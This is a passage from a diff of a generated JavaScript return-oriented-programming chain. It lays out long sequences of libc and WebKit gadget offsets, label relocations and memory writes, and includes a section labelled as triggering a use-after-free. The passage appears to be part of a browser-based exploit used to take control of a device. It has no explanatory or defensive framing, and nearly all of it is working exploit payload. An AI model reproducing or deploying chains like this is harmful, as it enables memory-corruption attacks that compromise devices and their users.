//L3501 +ropchain+217120, //L3484 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+217568, //L3500 +ropchain+217104, //L3483 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3500: +//L3483: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3501: +//L3484: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25768,8 +25701,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3503: -ropchain+217688, //L3502 +//L3486: +ropchain+217224, //L3485 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -25777,8 +25710,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+221624, //L3504 -//L3502: +ropchain+221160, //L3487 +//L3485: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -25786,146 +25719,146 @@ db([4294967256, 4294967295]); // -0x28 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+217824, //L3506 +ropchain+217360, //L3489 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+217840, //L3507 +ropchain+217376, //L3490 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+217808, //L3505 +ropchain+217344, //L3488 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3505: +//L3488: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3506: +//L3489: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3507: +//L3490: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+217944, //L3510 +ropchain+217480, //L3493 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+217992, //L3512 +ropchain+217528, //L3495 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+217976, //L3511 +ropchain+217512, //L3494 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3510: +//L3493: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L3509: +//L3492: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3511: +//L3494: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3512: +//L3495: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+218104, //L3513+8 +ropchain+217640, //L3496+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+218096, //L3513 +ropchain+217632, //L3496 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L3513: +//L3496: db([0, 0]); // 0x0 set_gadgets([ -ropchain+218120, //L3513+24 -ropchain+218568, //L3508 +ropchain+217656, //L3496+24 +ropchain+218104, //L3491 libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+218176, //L3515 +ropchain+217696, //L3497 webkit_base+7438103, //mov [rsi], rax -libc_base+788575 //pop rax +libc_base+792472 //pop rcx ]); -//L3514: +//L3497: db([0, 0]); // 0x0 -set_gadget(libc_base+792472,); //pop rcx -//L3515: +set_gadget(libc_base+788575,); //pop rax +//L3498: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3516: +//L3499: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+218360, //L3519 +ropchain+217896, //L3502 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+218376, //L3520 +ropchain+217912, //L3503 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+218328, //L3517 +ropchain+217880, //L3500 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+218344, //L3518 +ropchain+217864, //L3501 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3517: +//L3501: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L3518: +//L3500: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3519: +//L3502: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3520: +//L3503: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+218448, //L3521 +ropchain+217984, //L3504 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+218464, //L3522 +ropchain+218000, //L3505 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3521: +//L3504: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3522: +//L3505: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+218560, //L3524 +ropchain+218096, //L3507 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+218544, //L3523 +ropchain+218080, //L3506 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3523: +//L3506: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3524: +//L3507: db([0, 0]); // 0x0 -//L3508: +//L3491: set_gadget(libc_base+788575,); //pop rax -//L3525: +//L3508: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -25933,8 +25866,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3527: -ropchain+398024, //L3526 +//L3510: +ropchain+397568, //L3509 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -25942,8 +25875,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L3529: -ropchain+218728, //L3528 +//L3512: +ropchain+218264, //L3511 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -25951,8 +25884,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+220296, //L3530 -//L3528: +ropchain+219832, //L3513 +//L3511: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -25960,43 +25893,43 @@ db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+218792, //L3531 -//L3473: +ropchain+218328, //L3514 +//L3456: libc_base+811575, //pop rsp -ropchain+218808, //L3532 -//L3531: +ropchain+218344, //L3515 +//L3514: libc_base+811575, //pop rsp -ropchain+213504, //L3399 -//L3532: +ropchain+213040, //L3382 +//L3515: libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+218848, //L3534 +ropchain+218384, //L3516 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3534: +//L3516: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3533: +//L3517: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3535: +//L3518: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+218976, //L3537 +ropchain+218512, //L3520 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+218960, //L3536 +ropchain+218496, //L3519 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3536: +//L3519: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3537: +//L3520: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -26004,59 +25937,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+219072, //L3540 +ropchain+218592, //L3521 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3538: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3540: +//L3521: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3522: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+219176, //L3543 +ropchain+218712, //L3526 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+219160, //L3542 +ropchain+218696, //L3524 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3542: +//L3524: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3543: +//L3526: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+219264, //L3545 +ropchain+218800, //L3527 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+219280, //L3546 +ropchain+218816, //L3529 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3545: +//L3527: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3546: +//L3529: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+219336, //L3548 +ropchain+218872, //L3530 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3548: +//L3530: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx @@ -26068,33 +26001,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+219424, //L3550 +ropchain+218960, //L3532 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3550: +//L3532: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3549: +//L3533: db([1, 0]); // 0x1 set_gadget(libc_base+206806,); //pop rdi -//L3551: +//L3534: db([1, 0]); // 0x1 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+219552, //L3553 +ropchain+219088, //L3536 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+219536, //L3552 +ropchain+219072, //L3535 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3552: +//L3535: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3553: +//L3536: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -26102,63 +26035,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+219648, //L3556 +ropchain+219168, //L3537 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3554: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3556: +//L3537: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3538: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+219752, //L3559 +ropchain+219288, //L3542 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+219736, //L3558 +ropchain+219272, //L3540 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3558: +//L3540: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3559: +//L3542: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+219840, //L3561 +ropchain+219376, //L3543 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+219856, //L3562 +ropchain+219392, //L3545 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3561: +//L3543: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3562: +//L3545: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+219928, //L3565 +ropchain+219448, //L3546 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3563: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L3565: +//L3546: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3547: +db([8, 0]); // 0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -26169,18 +26102,18 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+220064, //L3567 +ropchain+219600, //L3550 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+220048, //L3566 +ropchain+219584, //L3549 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3566: +//L3549: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3567: +//L3550: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -26190,17 +26123,17 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+220160, //L3568 +ropchain+219696, //L3551 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+220176, //L3569 +ropchain+219712, //L3552 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); -//L3568: +//L3551: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3569: +//L3552: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -26210,19 +26143,19 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+220288, //L3570 +ropchain+219824, //L3553 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+220272, //L3571 +ropchain+219808, //L3554 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); -//L3571: +//L3554: db([0, 0]); // 0x0 set_gadget(libc_base+811575,); //pop rsp -//L3570: +//L3553: db([0, 0]); // 0x0 -//L3530: +//L3513: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -26438,13 +26371,13 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+221616, //L3572 +ropchain+221152, //L3555 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3572: +//L3555: db([0, 0]); // 0x0 -//L3504: +//L3487: set_gadget(libc_base+793877,); //pop rsi db([208, 0]); // 0xd0 set_gadgets([ @@ -26660,11 +26593,11 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+222944, //L3573 +ropchain+222480, //L3556 webkit_base+7438103, //mov [rsi], rax libc_base+811575 //pop rsp ]); -//L3573: +//L3556: db([0, 0]); // 0x0 //_trigger_uaf: set_gadget(libc_base+793877,); //pop rsi @@ -26672,23 +26605,23 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+223016, //L3575 +ropchain+222552, //L3557 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3575: +//L3557: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+223080, //L3577 +ropchain+222616, //L3560 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L3577: +//L3560: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([1032, 0]); // 0x408 @@ -26696,33 +26629,33 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+223152, //L3579 +ropchain+222688, //L3561 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3579: +//L3561: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3578: +//L3562: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3580: +//L3563: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+223280, //L3582 +ropchain+222816, //L3565 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+223264, //L3581 +ropchain+222800, //L3564 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3581: +//L3564: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3582: +//L3565: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -26730,171 +26663,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+223376, //L3585 +ropchain+222896, //L3566 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L3583: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3585: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -libc_base+793877, //pop rsi -ropchain+223480, //L3588 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+223464, //L3587 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3587: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3588: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+223568, //L3590 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877, //pop rsi -ropchain+223584, //L3591 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+792472 //pop rcx -]); -//L3590: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3591: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+191168, //mov rax, [rdi] -libc_base+793877, //pop rsi -ropchain+223656, //L3594 -webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi -]); -//L3592: -db([12, 0]); // 0xc -set_gadget(libc_base+792472,); //pop rcx -//L3594: -db([0, 0]); // 0x0 -set_gadgets([ -libc_base+547636, //add rax, rsi -webkit_base+954100, //mov [rax], ecx -libc_base+191168, //mov rax, [rdi] -libc_base+793877 //pop rsi -]); -db([4294967288, 4294967295]); // -0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+793877, //pop rsi -ropchain+223816, //L3596 -webkit_base+7438103, //mov [rsi], rax -libc_base+793877, //pop rsi -ropchain+223832, //L3597 -webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi -libc_base+793877, //pop rsi -ropchain+223800, //L3595 -webkit_base+7438103, //mov [rsi], rax -webkit_base+3750700 //pop r11 ; mov rax, rdi -]); -//L3595: -db([0, 0]); // 0x0 -set_gadget(libc_base+206806,); //pop rdi -//L3596: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L3597: -db([0, 0]); // 0x0 -set_gadgets([ -webkit_base+6227286, //movsxd rax, edi -libc_base+793877, //pop rsi -ropchain+223928, //L3599 -webkit_base+7438103, //mov [rsi], rax -webkit_base+1786005, //mov rax, r11 -libc_base+793877, //pop rsi -ropchain+223912, //L3598 -webkit_base+7438103, //mov [rsi], rax -libc_base+206806 //pop rdi -]); -//L3598: -db([0, 0]); // 0x0 -set_gadget(libc_base+788575,); //pop rax -//L3599: +//L3566: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -db([8, 0]); // 0x8 -set_gadgets([ -libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -libc_base+471355, //mov [rdi], rax -libc_base+793877, //pop rsi -ropchain+224024, //L3602 -webkit_base+7438103, //mov [rsi], rax -libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi -]); -//L3600: +//L3567: db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3602: -db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+224128, //L3605 +ropchain+223016, //L3571 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+224112, //L3604 +ropchain+223000, //L3569 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3604: +//L3569: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3605: +//L3571: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+224216, //L3607 +ropchain+223104, //L3572 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+224232, //L3608 +ropchain+223120, //L3574 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3607: +//L3572: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3608: +//L3574: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+224304, //L3611 +ropchain+223176, //L3575 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3609: -db([8, 0]); // 0x8 -set_gadget(libc_base+792472,); //pop rcx -//L3611: +//L3575: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3576: +db([8, 0]); // 0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -26905,40 +26730,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+224464, //L3613 +ropchain+223352, //L3579 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+224480, //L3614 +ropchain+223368, //L3580 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+224448, //L3612 +ropchain+223336, //L3578 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3612: +//L3578: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3613: +//L3579: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3614: +//L3580: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+224576, //L3616 +ropchain+223464, //L3582 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+224560, //L3615 +ropchain+223448, //L3581 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3615: +//L3581: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3616: +//L3582: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -26946,63 +26771,63 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+224672, //L3619 +ropchain+223544, //L3583 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3617: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L3619: +//L3583: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3584: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+224776, //L3622 +ropchain+223664, //L3588 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+224760, //L3621 +ropchain+223648, //L3586 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L3621: +//L3586: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3622: +//L3588: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+224864, //L3624 +ropchain+223752, //L3589 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+224880, //L3625 +ropchain+223768, //L3591 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+792472 //pop rcx ]); -//L3624: +//L3589: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3625: +//L3591: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+224952, //L3628 +ropchain+223824, //L3592 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3626: -db([4, 0]); // 0x4 -set_gadget(libc_base+792472,); //pop rcx -//L3628: +//L3592: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L3593: +db([4, 0]); // 0x4 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx @@ -27013,40 +26838,40 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+225112, //L3630 +ropchain+224000, //L3596 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+225128, //L3631 +ropchain+224016, //L3597 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+225096, //L3629 +ropchain+223984, //L3595 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L3629: +//L3595: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L3630: +//L3596: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3631: +//L3597: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+225224, //L3633 +ropchain+224112, //L3599 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+225208, //L3632 +ropchain+224096, //L3598 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L3632: +//L3598: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L3633: +//L3599: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -27054,59 +26879,59 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+225320, //L3636 +ropchain+224192, //L3600 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L3634: -db([16, 0]); // 